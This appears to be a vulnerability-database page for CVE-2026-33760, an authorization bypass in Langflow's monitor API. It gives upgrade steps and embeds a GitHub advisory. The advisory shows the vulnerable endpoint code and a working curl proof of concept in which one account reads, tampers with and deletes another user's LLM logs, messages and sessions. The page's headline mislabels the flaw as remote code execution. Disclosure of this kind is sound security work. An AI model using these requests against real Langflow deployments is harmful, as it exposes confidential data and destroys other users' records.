CVE-2026-33760: Langflow Remote Code Execution Vulnerability
HIGHCVE-2026-33760 is a HIGH (CVSS 8.8) remote code execution vulnerability (CWE-639: Authorization Bypass Through User-Controlled Key) affecting Langflow libraries in the PyPI ecosystem. The issue involves idor/bola in monitor api — missing ownership enforcement on 7 endpoints. Remediation is available by upgrading affected packages to version 1.9.0.
CVE-2026-33760 at a Glance
Security Impact
CVSS: 8.8
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
How to Fix CVE-2026-33760
To remediate this vulnerability, upgrade all affected Langflow dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install langflow>=1.9.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show langflow
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-33760, inspect your installed packages using pip:
pip show langflow
Analyze the terminal output to locate any version of Langflow in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.9.0), your application is affected.
Note: The pip show langflow command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-639: Authorization Bypass Through User-Controlled Key, where the system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data. In Langflow, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-33760 Affected Langflow Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
langflow
|
PyPI |
< 1.9.0
|
1.9.0
|
References
Frequently Asked Questions
What is CVE-2026-33760?
Which Langflow versions are affected?
What version fixes CVE-2026-33760?
Is langflow affected?
What is the CVSS score of CVE-2026-33760?
What CWE is associated with CVE-2026-33760?
How can I check PyPI dependencies for CVE-2026-33760?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-9c59-2mvc-vfr8",
"modified" : "2026-07-20T13:40:34Z",
"published" : "2026-06-16T17:34:21Z",
"aliases" : [ "CVE-2026-33760" ],
"summary" : "Langflow: IDOR/BOLA in Monitor API — Missing Ownership Enforcement on 7 Endpoints ",
"details" : "### Summary\n\nLangflow's `/api/v1/monitor` router exposes 7 endpoints that perform read, write, and delete operations on user-owned resources — messages, sessions, build artifacts, and LLM transaction logs — without verifying that the authenticated requester owns the targeted resource. Any authenticated user can read, modify, rename, or permanently delete another user's data by supplying the target's resource ID or `flow_id`. This is a classic IDOR/BOLA vulnerability. Notably, the same source file (`monitor.py`) contains one correctly-implemented endpoint that uses an ownership check, demonstrating the correct pattern was known but inconsistently applied.\n\n\n### Details\n\n**Source file: `src/backend/base/langflow/api/v1/monitor.py`**\n\nThe correct pattern (used only in `GET /monitor/messages`, lines 77–80):\n```python\nstmt = select(MessageTable)\nstmt = stmt.join(Flow, MessageTable.flow_id == Flow.id)\nstmt = stmt.where(Flow.user_id == current_user.id) # ownership enforced\n```\n\nAll 7 vulnerable endpoints are missing this guard:\n\n**1. `GET /api/v1/monitor/builds` (lines 27–33)** — reads build data for any `flow_id`:\n```python\n@router.get(\"/builds\", dependencies=[Depends(get_current_active_user)])\nasync def get_vertex_builds(flow_id: Annotated[UUID, Query()], session: DbSession):\n vertex_builds = await get_vertex_builds_by_flow_id(session, flow_id) # no ownership check\n return VertexBuildMapModel.from_list_of_dicts(vertex_builds)\n```\n\n**2. `DELETE /api/v1/monitor/messages` (lines 102–107)** — deletes any message by UUID:\n```python\n@router.delete(\"/messages\", status_code=204, dependencies=[Depends(get_current_active_user)])\nasync def delete_messages(message_ids: list[UUID], session: DbSession):\n await session.exec(delete(MessageTable).where(MessageTable.id.in_(message_ids)))\n # message_ids accepted verbatim, no ownership check\n```\n\n**3. `PUT /api/v1/monitor/messages/{message_id}` (lines 110–134)** — overwrites any message:\n```python\ndb_message = await session.get(MessageTable, message_id)\n# no check: db_message.flow_id → Flow.user_id == current_user.id\ndb_message.sqlmodel_update(message_dict)\n```\n\n**4. `PATCH /api/v1/monitor/messages/session/{old_session_id}` (lines 137–171)** — renames any session:\n```python\nstmt = select(MessageTable).where(MessageTable.session_id == old_session_id)\n# no JOIN to Flow, no WHERE Flow.user_id == current_user.id\n```\n\n**5. `DELETE /api/v1/monitor/messages/session/{session_id}` (lines 174–188)** — bulk-deletes any session:\n```python\nawait session.exec(\n delete(MessageTable).where(col(MessageTable.session_id) == session_id)\n # no ownership filter\n)\n```\n\n**6. `GET /api/v1/monitor/transactions` (lines 191–211)** — reads LLM prompt/response logs for any `flow_id`:\n```python\nstmt = select(TransactionTable).where(TransactionTable.flow_id == flow_id)\n# no JOIN to Flow, no WHERE Flow.user_id == current_user.id\n```\n\n**7. `DELETE /api/v1/monitor/builds`** — deletes build records for any `flow_id`:\nShares the same root cause as endpoint #1 (`GET /builds`): `flow_id` is accepted as a bare query parameter and passed to the deletion path without a `WHERE Flow.user_id == current_user.id` ownership check, so any authenticated user can destroy another user's build artifacts.\n\n### PoC\n\nTested on Langflow v1.7.3 (`langflowai/langflow:1.7.3`) with two accounts: `langflow` (victim) and `attacker_test` (attacker).\n\n```bash\n# Setup: authenticate both users\nTOKEN=$(curl -s -X POST http://localhost:7860/api/v1/login \\\n -d \"username=langflow&password=langflow\" \\\n | python3 -c \"import sys,json; print(json.load(sys.stdin)['access_token'])\")\n\nATTKR=$(curl -s -X POST http://localhost:7860/api/v1/login \\\n -d \"username=attacker_test&password=Attacker123\" \\\n | python3 -c \"import sys,json; print(json.load(sys.stdin)['access_token'])\")\n\n# Victim creates a flow (attacker only needs to know the flow_id — obtainable via brute force or enumeration)\nFLOW_ID=$(curl -s -X POST http://localhost:7860/api/v1/flows/ \\\n -H \"Authorization: Bearer $TOKEN\" -H \"Content-Type: application/json\" \\\n -d '{\"name\":\"victim-flow\",\"data\":{\"nodes\":[],\"edges\":[]}}' \\\n | python3 -c \"import sys,json; print(json.load(sys.stdin)['id'])\")\n\n# PoC 1: Read victim's LLM transaction logs (prompts + model responses)\ncurl -s \"http://localhost:7860/api/v1/monitor/transactions?flow_id=$FLOW_ID\" \\\n -H \"Authorization: Bearer $ATTKR\"\n# HTTP 200 — full transaction log returned including user prompts and model responses\n\n# PoC 2: Read victim's build data\ncurl -s \"http://localhost:7860/api/v1/monitor/builds?flow_id=$FLOW_ID\" \\\n -H \"Authorization: Bearer $ATTKR\"\n# HTTP 200\n\n# PoC 3: Delete victim's message (MESSAGE_ID obtained from transaction log above)\ncurl -s -X DELETE \"http://localhost:7860/api/v1/monitor/messages\" \\\n -H \"Authorization: Bearer $ATTKR\" -H \"Content-Type: application/json\" \\\n -d '[\"<victim_message_id>\"]'\n# HTTP 204 — message deleted\n\n# PoC 4: Tamper with victim's message content\ncurl -s -X PUT \"http://localhost:7860/api/v1/monitor/messages/<victim_message_id>\" \\\n -H \"Authorization: Bearer $ATTKR\" -H \"Content-Type: application/json\" \\\n -d '{\"text\":\"TAMPERED BY ATTACKER\"}'\n# HTTP 200 — message overwritten, \"edit\":true set\n\n# PoC 5: Rename victim's session\ncurl -s -X PATCH \\\n \"http://localhost:7860/api/v1/monitor/messages/session/victim-session-1?new_session_id=attacker-controlled\" \\\n -H \"Authorization: Bearer $ATTKR\"\n# HTTP 200 — session renamed\n\n# PoC 6: Bulk-delete victim's entire session\ncurl -s -X DELETE \\\n \"http://localhost:7860/api/v1/monitor/messages/session/victim-session-2\" \\\n -H \"Authorization: Bearer $ATTKR\"\n# HTTP 204 — entire session deleted\n```\n\nAll 6 demonstrated attack vectors confirmed (the 7th, `DELETE /builds`, shares the `GET /builds` root cause and was not separately scripted). After attacker operations: victim's message text read `\"TAMPERED BY ATTACKER\"`, session renamed to attacker-controlled name, second session completely deleted.\n\n### Impact\n\nThis vulnerability affects any Langflow deployment with multiple users (team instances, SaaS deployments, enterprise self-hosted).\n\n**Confidentiality:** `GET /transactions` exposes the full LLM conversation history — user-submitted prompts and model responses — for any flow by `flow_id`. In healthcare, legal, financial, or HR deployments this directly exposes sensitive and potentially regulated data (HIPAA, GDPR). `GET /builds` exposes internal workflow execution state.\n\n**Integrity:** `PUT /messages/{id}` allows rewriting any stored message, corrupting chat history, audit trails, and RAG-indexed memory. `PATCH /messages/session/{id}` allows renaming sessions, breaking session continuity and potentially injecting victim context into attacker-controlled namespaces.\n\n**Availability:** `DELETE /messages` and `DELETE /messages/session/{id}` enable permanent, irreversible destruction of another user's conversation history and LLM logs. No recovery mechanism exists once data is deleted.\n\nAny registered user account (including self-registered accounts if registration is open) has unrestricted cross-user access to all 6 operations against any other user's data.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "langflow"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.9.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/langflow-ai/langflow/security/advisories/GHSA-9c59-2mvc-vfr8"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-33760"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/langflow-ai/langflow"
}, {
"type" : "WEB",
"url" : "https://github.com/pypa/advisory-database/tree/main/vulns/langflow/PYSEC-2026-242.yaml"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-639" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-06-16T17:34:21Z",
"nvd_published_at" : "2026-06-23T17:16:52Z"
}
}